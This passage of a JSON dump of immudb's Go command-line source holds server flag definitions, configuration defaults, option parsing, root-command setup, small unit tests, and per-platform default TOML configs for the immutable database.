    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"time\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/pflag\"\n\t\"github.com/spf13/viper\"\n)\n\nfunc (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) {\n\tcmd.Flags().String(\"dir\", options.Dir, \"data folder\")\n\tcmd.Flags().IntP(\"port\", \"p\", options.Port, \"port number\")\n\tcmd.Flags().StringP(\"address\", \"a\", options.Address, \"bind address\")\n\tcmd.Flags().Bool(\"replication-enabled\", false, \"set systemdb and defaultdb as replica\") // deprecated, use replication-is-replica instead\n\tcmd.Flags().Bool(\"replication-is-replica\", false, \"set systemdb and defaultdb as replica\")\n\tcmd.Flags().Bool(\"replication-sync-enabled\", false, \"enable synchronous replication\")\n\tcmd.Flags().Int(\"replication-sync-acks\", 0, \"set a minimum number of replica acknowledgements required before transactions can be committed\")\n\tcmd.Flags().String(\"replication-primary-host\", \"\", \"primary database host (if replica=true)\")\n\tcmd.Flags().Int(\"replication-primary-port\", 3322, \"primary database port (if replica=true)\")\n\tcmd.Flags().String(\"replication-primary-username\", \"\", \"username in the primary database used for replication of systemdb and defaultdb\")\n\tcmd.Flags().String(\"replication-primary-password\", \"\", \"password in the primary database used for replication of systemdb and defaultdb\")\n\tcmd.Flags().Int(\"replication-prefetch-tx-buffer-size\", options.ReplicationOptions.PrefetchTxBufferSize, \"maximum number of prefeched transactions\")\n\tcmd.Flags().Int(\"replication-commit-concurrency\", options.ReplicationOptions.ReplicationCommitConcurrency, \"number of concurrent replications\")\n\tcmd.Flags().Bool(\"replication-allow-tx-discarding\", options.ReplicationOptions.AllowTxDiscarding, \"allow precommitted transactions to be discarded if the replica diverges from the primary\")\n\tcmd.Flags().Bool(\"replication-skip-integrity-check\", options.ReplicationOptions.SkipIntegrityCheck, \"disable integrity check when reading data during replication\")\n\tcmd.Flags().Bool(\"replication-wait-for-indexing\", options.ReplicationOptions.WaitForIndexing, \"wait for indexing to be up to date during replication\")\n\tcmd.Flags().Int(\"max-active-databases\", options.MaxActiveDatabases, \"the maximum number of databases that can be active simultaneously\")\n\tcmd.Flags().String(\"config\", \"\", \"config file (default path are configs or $HOME. Default filename is immudb.toml)\")\n\n\tcmd.PersistentFlags().StringVar(&cl.config.CfgFn, \"config\", \"\", \"config file (default path are configs or $HOME. Default filename is immudb.toml)\")\n\tcmd.Flags().String(\"pidfile\", options.Pidfile, \"pid path with filename e.g. /var/run/immudb.pid\")\n\tcmd.Flags().String(\"logdir\", options.LogDir, \"log path base dir /tmp/immudb/immulog\")\n\tcmd.Flags().String(\"logfile\", options.Logfile, \"filename e.g. immudb.log\")\n\tcmd.Flags().String(\"logformat\", options.LogFormat, \"log format e.g. text/json\")\n\tcmd.Flags().Int(\"log-rotation-size\", options.LogRotationSize, \"maximum size a log segment can reach before being rotated\")\n\tcmd.Flags().Duration(\"log-rotation-age\", options.LogRotationAge, \"maximum duration (age) of a log segment before it is rotated\")\n\tcmd.Flags().Bool(\"log-access\", options.LogAccess, \"log incoming requests information (username, IP, etc...)\")\n\tcmd.Flags().BoolP(\"mtls\", \"m\", false, \"enable mutual tls\")\n\tcmd.Flags().BoolP(\"auth\", \"s\", false, \"enable auth\")\n\tcmd.Flags().Int(\"max-recv-msg-size\", options.MaxRecvMsgSize, \"max message size in bytes the server can receive\")\n\tcmd.Flags().Bool(\"no-histograms\", false, \"disable collection of histogram metrics like query durations\")\n\tcmd.Flags().BoolP(c.DetachedFlag, c.DetachedShortFlag, options.Detached, \"run immudb in background\")\n\tcmd.Flags().Bool(\"auto-cert\", options.AutoCert, \"start the server using a generated, self-signed HTTPS certificate\")\n\tcmd.Flags().String(\"certificate\", \"\", \"server certificate file path\")\n\tcmd.Flags().String(\"pkey\", \"\", \"server private key path\")\n\tcmd.Flags().String(\"clientcas\", \"\", \"clients certificates list. Aka certificate authority\")\n\tcmd.Flags().Bool(\"devmode\", options.DevMode, \"enable dev mode: accept remote connections without auth\")\n\tcmd.Flags().String(\"admin-password\", options.AdminPassword, \"admin password (default is 'immudb') as plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)\")\n\tcmd.Flags().Bool(\"force-admin-password\", false, \"if true, reset the admin password to the one passed through admin-password option upon startup\")\n\tcmd.Flags().Bool(\"maintenance\", options.GetMaintenance(), \"override the authentication flag\")\n\tcmd.Flags().String(\"signingKey\", options.SigningKey, \"signature private key path. If a valid one is provided, it enables the cryptographic signature of the root. e.g. \\\"./../test/signer/ec3.key\\\"\")\n\tcmd.Flags().Bool(\"synced\", true, \"synced mode prevents data lost under unexpected crashes but affects performance\")\n\tcmd.Flags().Int(\"token-expiry-time\", options.TokenExpiryTimeMin, \"client authentication token expiration time. Minutes\")\n\tcmd.Flags().Bool(\"metrics-server\", options.MetricsServer, \"enable or disable Prometheus endpoint\")\n\tcmd.Flags().Int(\"metrics-server-port\", options.MetricsServerPort, \"Prometheus endpoint port\")\n\tcmd.Flags().Bool(\"web-server\", options.WebServer, \"enable or disable web/console server\")\n\tcmd.Flags().Int(\"web-server-port\", options.WebServerPort, \"web/console server port\")\n\tcmd.Flags().Bool(\"pgsql-server\", true, \"enable or disable pgsql server\")\n\tcmd.Flags().Int(\"pgsql-server-port\", 5432, \"pgsql server port\")\n\tcmd.Flags().Bool(\"pprof\", false, \"add pprof profiling endpoint on the metrics server\")\n\tcmd.Flags().Bool(\"s3-storage\", false, \"enable or disable s3 storage\")\n\tcmd.Flags().Bool(\"s3-role-enabled\", false, \"enable role-based authentication for s3 storage\")\n\tcmd.Flags().String(\"s3-endpoint\", \"\", \"s3 endpoint\")\n\tcmd.Flags().String(\"s3-role\", \"\", \"role name for role-based authentication attempt for s3 storage\")\n\tcmd.Flags().String(\"s3-access-key-id\", \"\", \"s3 access key id\")\n\tcmd.Flags().String(\"s3-secret-key\", \"\", \"s3 secret access key\")\n\tcmd.Flags().String(\"s3-bucket-name\", \"\", \"s3 bucket name\")\n\tcmd.Flags().String(\"s3-location\", \"\", \"s3 location (region)\")\n\tcmd.Flags().String(\"s3-path-prefix\", \"\", \"s3 path prefix (multiple immudb instances can share the same bucket if they have different prefixes)\")\n\tcmd.Flags().Bool(\"s3-external-identifier\", false, \"use the remote identifier if there is no local identifier\")\n\tcmd.Flags().String(\"s3-instance-metadata-url\", \"http://169.254.169.254\", \"s3 instance metadata url\")\n\tcmd.Flags().String(\"s3-use-fargate-credentials\", \"false\", \"use fargate credentials for s3 authentication: true/false\")\n\tcmd.Flags().Int(\"max-sessions\", 100, \"maximum number of simultaneously opened sessions\")\n\tcmd.Flags().Duration(\"max-session-inactivity-time\", 3*time.Minute, \"max session inactivity time is a duration after which an active session is declared inactive by the server. A session is kept active if server is still receiving requests from client (keep-alive or other methods)\")\n\tcmd.Flags().Duration(\"max-session-age-time\", 0, \"the current default value is infinity. max session age time is a duration after which session will be forcibly closed\")\n\tcmd.Flags().Duration(\"session-timeout\", 2*time.Minute, \"session timeout is a duration after which an inactive session is forcibly closed by the server\")\n\tcmd.Flags().Duration(\"sessions-guard-check-interval\", 1*time.Minute, \"sessions guard check interval\")\n\tcmd.Flags().MarkHidden(\"sessions-guard-check-interval\")\n\tcmd.Flags().Bool(\"grpc-reflection\", options.GRPCReflectionServerEnabled, \"GRPC reflection server enabled\")\n\tcmd.Flags().Bool(\"swaggerui\", options.SwaggerUIEnabled, \"Swagger UI enabled\")\n\tcmd.Flags().Bool(\"log-request-metadata\", options.LogRequestMetadata, \"log request information in transaction metadata\")\n\n\tflagNameMapping := map[string]string{\n\t\t\"replication-enabled\":           \"replication-is-replica\",\n\t\t\"replication-follower-username\": \"replication-primary-username\",\n\t\t\"replication-follower-password\": \"replication-primary-password\",\n\t\t\"replication-master-database\":   \"replication-primary-database\",\n\t\t\"replication-master-address\":    \"replication-primary-host\",\n\t\t\"replication-master-port\":       \"replication-primary-port\",\n\t}\n\n\tcmd.Flags().SetNormalizeFunc(func(f *pflag.FlagSet, name string) pflag.NormalizedName {\n\t\tif newName, ok := flagNameMapping[name]; ok {\n\t\t\tname = newName\n\t\t}\n\t\treturn pflag.NormalizedName(name)\n\t})\n}\n\nfunc setupDefaults(options *server.Options) {\n\tviper.SetDefault(\"dir\", options.Dir)\n\tviper.SetDefault(\"config\", options.Config)\n\tviper.SetDefault(\"port\", options.Port)\n\tviper.SetDefault(\"address\", options.Address)\n\tviper.SetDefault(\"replica\", false)\n\tviper.SetDefault(\"pidfile\", options.Pidfile)\n\tviper.SetDefault(\"logfile\", options.Logfile)\n\tviper.SetDefault(\"logdir\", options.LogDir)\n\tviper.SetDefault(\"log-rotation-size\", options.LogRotationSize)\n\tviper.SetDefault(\"log-rotation-age\", options.LogRotationAge)\n\tviper.SetDefault(\"log-access\", options.LogAccess)\n\tviper.SetDefault(\"mtls\", false)\n\tviper.SetDefault(\"auth\", options.GetAuth())\n\tviper.SetDefault(\"max-recv-msg-size\", options.MaxRecvMsgSize)\n\tviper.SetDefault(\"no-histograms\", options.NoHistograms)\n\tviper.SetDefault(\"detached\", options.Detached)\n\tviper.SetDefault(\"auto-cert\", options.AutoCert)\n\tviper.SetDefault(\"certificate\", \"\")\n\tviper.SetDefault(\"pkey\", \"\")\n\tviper.SetDefault(\"clientcas\", \"\")\n\tviper.SetDefault(\"devmode\", options.DevMode)\n\tviper.SetDefault(\"admin-password\", options.AdminPassword)\n\tviper.SetDefault(\"force-admin-password\", options.ForceAdminPassword)\n\tviper.SetDefault(\"maintenance\", options.GetMaintenance())\n\tviper.SetDefault(\"synced\", true)\n\tviper.SetDefault(\"token-expiry-time\", options.TokenExpiryTimeMin)\n\tviper.SetDefault(\"metrics-server\", options.MetricsServer)\n\tviper.SetDefault(\"metrics-server-port\", options.MetricsServerPort)\n\tviper.SetDefault(\"web-server\", options.WebServer)\n\tviper.SetDefault(\"web-server-port\", options.WebServerPort)\n\tviper.SetDefault(\"pgsql-server\", true)\n\tviper.SetDefault(\"pgsql-server-port\", 5432)\n\tviper.SetDefault(\"pprof\", false)\n\tviper.SetDefault(\"s3-storage\", false)\n\tviper.SetDefault(\"s3-endpoint\", \"\")\n\tviper.SetDefault(\"s3-role-enabled\", false)\n\tviper.SetDefault(\"s3-role\", \"\")\n\tviper.SetDefault(\"s3-access-key-id\", \"\")\n\tviper.SetDefault(\"s3-secret-key\", \"\")\n\tviper.SetDefault(\"s3-bucket-name\", \"\")\n\tviper.SetDefault(\"s3-location\", \"\")\n\tviper.SetDefault(\"s3-path-prefix\", \"\")\n\tviper.SetDefault(\"s3-external-identifier\", false)\n\tviper.SetDefault(\"s3-instance-metadata-url\", \"http://169.254.169.254\")\n\tviper.SetDefault(\"max-sessions\", 100)\n\tviper.SetDefault(\"max-session-inactivity-time\", 3*time.Minute)\n\tviper.SetDefault(\"max-session-age-time\", 0)\n\tviper.SetDefault(\"max-active-databases\", options.MaxActiveDatabases)\n\tviper.SetDefault(\"session-timeout\", 2*time.Minute)\n\tviper.SetDefault(\"sessions-guard-check-interval\", 1*time.Minute)\n\tviper.SetDefault(\"logformat\", logger.LogFormatText)\n}\n"
  },
  {
    "path": "cmd/immudb/command/parse_options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/spf13/viper\"\n)\n\nfunc parseOptions() (options *server.Options, err error) {\n\tdir := viper.GetString(\"dir\")\n\tconfig := viper.GetString(\"config\")\n\n\taddress := viper.GetString(\"address\")\n\tport := viper.GetInt(\"port\")\n\n\treplicationOptions := &server.ReplicationOptions{}\n\n\treplicationOptions.\n\t\tWithIsReplica(viper.GetBool(\"replication-is-replica\")).\n\t\tWithSyncReplication(viper.GetBool(\"replication-sync-enabled\"))\n\n\tif replicationOptions.IsReplica {\n\t\treplicationOptions.\n\t\t\tWithPrimaryHost(viper.GetString(\"replication-primary-host\")).\n\t\t\tWithPrimaryPort(viper.GetInt(\"replication-primary-port\")).\n\t\t\tWithPrimaryUsername(viper.GetString(\"replication-primary-username\")).\n\t\t\tWithPrimaryPassword(viper.GetString(\"replication-primary-password\")).\n\t\t\tWithPrefetchTxBufferSize(viper.GetInt(\"replication-prefetch-tx-buffer-size\")).\n\t\t\tWithReplicationCommitConcurrency(viper.GetInt(\"replication-commit-concurrency\")).\n\t\t\tWithAllowTxDiscarding(viper.GetBool(\"replication-allow-tx-discarding\")).\n\t\t\tWithSkipIntegrityCheck(viper.GetBool(\"replication-skip-integrity-check\")).\n\t\t\tWithWaitForIndexing(viper.GetBool(\"replication-wait-for-indexing\"))\n\t} else {\n\t\treplicationOptions.\n\t\t\tWithSyncAcks(viper.GetInt(\"replication-sync-acks\"))\n\t}\n\n\tpidfile := viper.GetString(\"pidfile\")\n\n\tlogdir := viper.GetString(\"logdir\")\n\tlogfile := viper.GetString(\"logfile\")\n\tlogRotationSize := viper.GetInt(\"log-rotation-size\")\n\tlogRotationAge := viper.GetDuration(\"log-rotation-age\")\n\tlogAccess := viper.GetBool(\"log-access\")\n\tlogFormat := viper.GetString(\"logformat\")\n\n\tmtls := viper.GetBool(\"mtls\")\n\tauth := viper.GetBool(\"auth\")\n\tmaxRecvMsgSize := viper.GetInt(\"max-recv-msg-size\")\n\tnoHistograms := viper.GetBool(\"no-histograms\")\n\tdetached := viper.GetBool(\"detached\")\n\tautoCert := viper.GetBool(\"auto-cert\")\n\tcertificate := viper.GetString(\"certificate\")\n\tpkey := viper.GetString(\"pkey\")\n\tclientcas := viper.GetString(\"clientcas\")\n\n\tdevMode := viper.GetBool(\"devmode\")\n\tadminPassword := viper.GetString(\"admin-password\")\n\tforceAdminPassword := viper.GetBool(\"force-admin-password\")\n\tmaintenance := viper.GetBool(\"maintenance\")\n\tsigningKey := viper.GetString(\"signingKey\")\n\tsynced := viper.GetBool(\"synced\")\n\ttokenExpTime := viper.GetInt(\"token-expiry-time\")\n\n\twebServer := viper.GetBool(\"web-server\")\n\twebServerPort := viper.GetInt(\"web-server-port\")\n\n\tmetricsServer := viper.GetBool(\"metrics-server\")\n\tmetricsServerPort := viper.GetInt(\"metrics-server-port\")\n\n\tpgsqlServer := viper.GetBool(\"pgsql-server\")\n\tpgsqlServerPort := viper.GetInt(\"pgsql-server-port\")\n\n\tpprof := viper.GetBool(\"pprof\")\n\n\tgrpcReflectionServerEnabled := viper.GetBool(\"grpc-reflection\")\n\tswaggerUIEnabled := viper.GetBool(\"swaggerui\")\n\tlogRequestMetadata := viper.GetBool(\"log-request-metadata\")\n\n\tmaxActiveDatabases := viper.GetInt(\"max-active-databases\")\n\n\ts3Storage := viper.GetBool(\"s3-storage\")\n\ts3RoleEnabled := viper.GetBool(\"s3-role-enabled\")\n\ts3Role := viper.GetString(\"s3-role\")\n\ts3Endpoint := viper.GetString(\"s3-endpoint\")\n\ts3AccessKeyID := viper.GetString(\"s3-access-key-id\")\n\ts3SecretKey := viper.GetString(\"s3-secret-key\")\n\ts3BucketName := viper.GetString(\"s3-bucket-name\")\n\ts3Location := viper.GetString(\"s3-location\")\n\ts3PathPrefix := viper.GetString(\"s3-path-prefix\")\n\ts3ExternalIdentifier := viper.GetBool(\"s3-external-identifier\")\n\ts3MetadataURL := viper.GetString(\"s3-instance-metadata-url\")\n\ts3UseFargateCredentials := viper.GetBool(\"s3-use-fargate-credentials\")\n\n\tremoteStorageOptions := server.DefaultRemoteStorageOptions().\n\t\tWithS3Storage(s3Storage).\n\t\tWithS3RoleEnabled(s3RoleEnabled).\n\t\tWithS3Role(s3Role).\n\t\tWithS3Endpoint(s3Endpoint).\n\t\tWithS3AccessKeyID(s3AccessKeyID).\n\t\tWithS3SecretKey(s3SecretKey).\n\t\tWithS3BucketName(s3BucketName).\n\t\tWithS3Location(s3Location).\n\t\tWithS3PathPrefix(s3PathPrefix).\n\t\tWithS3ExternalIdentifier(s3ExternalIdentifier).\n\t\tWithS3InstanceMetadataURL(s3MetadataURL).\n\t\tWithS3UseFargateCredentials(s3UseFargateCredentials)\n\n\tsessionOptions := sessions.DefaultOptions().\n\t\tWithMaxSessions(viper.GetInt(\"max-sessions\")).\n\t\tWithSessionGuardCheckInterval(viper.GetDuration(\"sessions-guard-check-interval\")).\n\t\tWithMaxSessionInactivityTime(viper.GetDuration(\"max-session-inactivity-time\")).\n\t\tWithMaxSessionAgeTime(viper.GetDuration(\"max-session-age-time\")).\n\t\tWithTimeout(viper.GetDuration(\"session-timeout\"))\n\n\ttlsConfig, err := setUpTLS(pkey, certificate, clientcas, mtls, autoCert)\n\tif err != nil {\n\t\treturn options, err\n\t}\n\n\toptions = server.\n\t\tDefaultOptions().\n\t\tWithDir(dir).\n\t\tWithConfig(config).\n\t\tWithPort(port).\n\t\tWithAddress(address).\n\t\tWithReplicationOptions(replicationOptions).\n\t\tWithPidfile(pidfile).\n\t\tWithLogDir(logdir).\n\t\tWithLogfile(logfile).\n\t\tWithLogRotationSize(logRotationSize).\n\t\tWithLogRotationAge(logRotationAge).\n\t\tWithLogAccess(logAccess).\n\t\tWithTLS(tlsConfig).\n\t\tWithAuth(auth).\n\t\tWithMaxRecvMsgSize(maxRecvMsgSize).\n\t\tWithNoHistograms(noHistograms).\n\t\tWithDetached(detached).\n\t\tWithDevMode(devMode).\n\t\tWithAdminPassword(adminPassword).\n\t\tWithForceAdminPassword(forceAdminPassword).\n\t\tWithMaintenance(maintenance).\n\t\tWithSigningKey(signingKey).\n\t\tWithSynced(synced).\n\t\tWithRemoteStorageOptions(remoteStorageOptions).\n\t\tWithTokenExpiryTime(tokenExpTime).\n\t\tWithMetricsServer(metricsServer).\n\t\tWithMetricsServerPort(metricsServerPort).\n\t\tWithWebServer(webServer).\n\t\tWithWebServerPort(webServerPort).\n\t\tWithPgsqlServer(pgsqlServer).\n\t\tWithPgsqlServerPort(pgsqlServerPort).\n\t\tWithSessionOptions(sessionOptions).\n\t\tWithPProf(pprof).\n\t\tWithLogFormat(logFormat).\n\t\tWithSwaggerUIEnabled(swaggerUIEnabled).\n\t\tWithGRPCReflectionServerEnabled(grpcReflectionServerEnabled).\n\t\tWithLogRequestMetadata(logRequestMetadata).\n\t\tWithMaxActiveDatabases(maxActiveDatabases)\n\n\treturn options, nil\n}\n"
  },
  {
    "path": "cmd/immudb/command/root.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"path/filepath\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n\tdaem \"github.com/takama/daemon\"\n)\n\nfunc (cl *Commandline) NewRootCmd(immudbServer server.ImmuServerIf) (*cobra.Command, error) {\n\tcmd := &cobra.Command{\n\t\tUse:   \"immudb\",\n\t\tShort: \"immudb - the lightweight, high-speed immutable database for systems and applications\",\n\t\tLong: `immudb - the lightweight, high-speed immutable database for systems and applications.\n\nimmudb documentation: https://docs.immudb.io/\n\nSetting the logging level and other options through environment variables:\n- Logging level: LOG_LEVEL={debug|info|warning|error}\n- The environment variable names for other settings are derived by prefixing flag names with \"IMMUDB_\"\n  e.g IMMUDB_PORT=3323 ./immudb.\n  Note: flags take precedence over environment variables.\n`,\n\t\tDisableAutoGenTag: true,\n\t\tRunE:              cl.Immudb(immudbServer),\n\t\tPersistentPreRunE: cl.ConfigChain(nil),\n\t}\n\n\tcl.setupFlags(cmd, server.DefaultOptions())\n\n\tif err := viper.BindPFlags(cmd.Flags()); err != nil {\n\t\treturn nil, err\n\t}\n\n\tsetupDefaults(server.DefaultOptions())\n\n\treturn cmd, nil\n}\n\n// Immudb ...\nfunc (cl *Commandline) Immudb(immudbServer server.ImmuServerIf) func(*cobra.Command, []string) error {\n\treturn func(cmd *cobra.Command, args []string) (err error) {\n\t\tvar options *server.Options\n\n\t\tif options, err = parseOptions(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\timmudbServer := immudbServer.WithOptions(options)\n\n\t\t// initialize logger for immudb\n\t\tilogger, err := logger.NewLogger(&logger.Options{\n\t\t\tName:              \"immudb\",\n\t\t\tLogFormat:         options.LogFormat,\n\t\t\tLogDir:            filepath.Join(options.Dir, options.LogDir),\n\t\t\tLogFile:           options.Logfile,\n\t\t\tLogRotationSize:   options.LogRotationSize,\n\t\t\tLogRotationAge:    options.LogRotationAge,\n\t\t\tLogFileTimeFormat: logger.LogFileFormat,\n\t\t\tLevel:             logger.LogLevelFromEnvironment(),\n\t\t})\n\t\tif err != nil {\n\t\t\tc.QuitToStdErr(err)\n\t\t}\n\t\tdefer ilogger.Close()\n\t\timmudbServer.WithLogger(ilogger)\n\n\t\t// check if immudb needs to be run in detached mode\n\t\tif options.Detached {\n\t\t\tif err := cl.P.Detached(); err == nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\n\t\t// check if immudb needs to run in daemon mode\n\t\tvar d daem.Daemon\n\t\tif d, err = daem.New(\"immudb\", \"immudb\", \"immudb\"); err != nil {\n\t\t\tc.QuitToStdErr(err)\n\t\t}\n\n\t\tif err = immudbServer.Initialize(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tservice := server.Service{\n\t\t\tImmuServerIf: immudbServer,\n\t\t}\n\n\t\td.Run(service)\n\n\t\treturn nil\n\t}\n}\n"
  },
  {
    "path": "cmd/immudb/command/root_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/immudb/command/service/servicetest\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc TestNewCmd(t *testing.T) {\n\tcl := Commandline{}\n\tcmd, err := cl.NewRootCmd(server.DefaultServer())\n\trequire.NoError(t, err)\n\trequire.IsType(t, &cobra.Command{}, cmd)\n}\n\nfunc TestNewCmdInitializeError(t *testing.T) {\n\tcl := Commandline{}\n\ts := servicetest.NewDefaultImmuServerMock()\n\ts.InitializeF = func() error {\n\t\treturn fmt.Errorf(\"error\")\n\t}\n\tcmd, err := cl.NewRootCmd(s)\n\trequire.NoError(t, err)\n\terr = cmd.Execute()\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/commandline.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\nimport (\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/cmd/immudb/command/service/config\"\n\t\"github.com/codenotary/immudb/cmd/immudb/command/service/constants\"\n\t\"github.com/codenotary/immudb/cmd/sservice\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc NewCommandLine() *commandline {\n\top := sservice.Option{\n\t\tExecPath:      constants.ExecPath,\n\t\tConfigPath:    constants.ConfigPath,\n\t\tUser:          constants.OSUser,\n\t\tGroup:         constants.OSGroup,\n\t\tStartUpConfig: constants.StartUpConfig,\n\t\tUsageDetails:  constants.UsageDet,\n\t\tUsageExamples: constants.UsageExamples,\n\t\tConfig:        config.ConfigImmudb,\n\t}\n\n\ts := sservice.NewSService(&op)\n\tt := helper.NewTerminalReader(os.Stdin)\n\tc := helper.Config{Name: \"immuadmin\"}\n\treturn &commandline{c, s, t}\n}\n\ntype commandline struct {\n\tconfig   helper.Config\n\tsservice sservice.Sservice\n\ttreader  helper.TerminalReader\n}\n\n/*type sserviceImmudb struct {\n\tsservice.Sservice\n}*/\n\n// NewSService ...\n/*func NewImmudbSService(options *sservice.Option) sservice.Sservice {\n\tmps := immudb.NewManpageService()\n\treturn sserviceImmudb{ sservice.Sservice{immuos.NewStandardOS(), viper.New(), mps, *options}}\n}*/\n\ntype Commandline interface {\n\tService(cmd *cobra.Command)\n}\n\nfunc (cld *commandline) Register(rootCmd *cobra.Command) *cobra.Command {\n\tcld.Service(rootCmd)\n\treturn rootCmd\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/commandline_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc TestCommandline_Register(t *testing.T) {\n\tc := commandline{}\n\tcmd := c.Register(&cobra.Command{})\n\tassert.IsType(t, &cobra.Command{}, cmd)\n}\n\nfunc TestNewCommandLine(t *testing.T) {\n\tcml := NewCommandLine()\n\tassert.IsType(t, &commandline{}, cml)\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/config/immudb.toml.freebsd.dist.go",
    "content": "//go:build freebsd\n// +build freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage config\n\nvar ConfigImmudb = []byte(`dir = \"/var/lib/immudb\"\nnetwork = \"tcp\"\naddress = \"0.0.0.0\"\nport = 3322\ndbname = \"data\"\npidfile = \"/var/run/immudb.pid\"\nlogfile = \"/var/log/immudb/immudb.log\"\nmtls = false\ndetached = false\nauth = false\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"`)\n"
  },
  {
    "path": "cmd/immudb/command/service/config/immudb.toml.linux.dist.go",
    "content": "//go:build linux || darwin\n// +build linux darwin\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage config\n\n// ConfigImmudb ...\nvar ConfigImmudb = []byte(`dir = \"/var/lib/immudb\"\nnetwork = \"tcp\"\naddress = \"0.0.0.0\"\nport = 3322\ndbname = \"data\"\npidfile = \"/var/lib/immudb/immudb.pid\"\nlogfile = \"/var/log/immudb/immudb.log\"\nmtls = false\ndetached = false\nauth = true\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"\ndevmode = true\nadmin-password = \"immudb\"`)\n"
  },
  {
    "path": "cmd/immudb/command/service/config/immudb.toml.windows.dist.go",
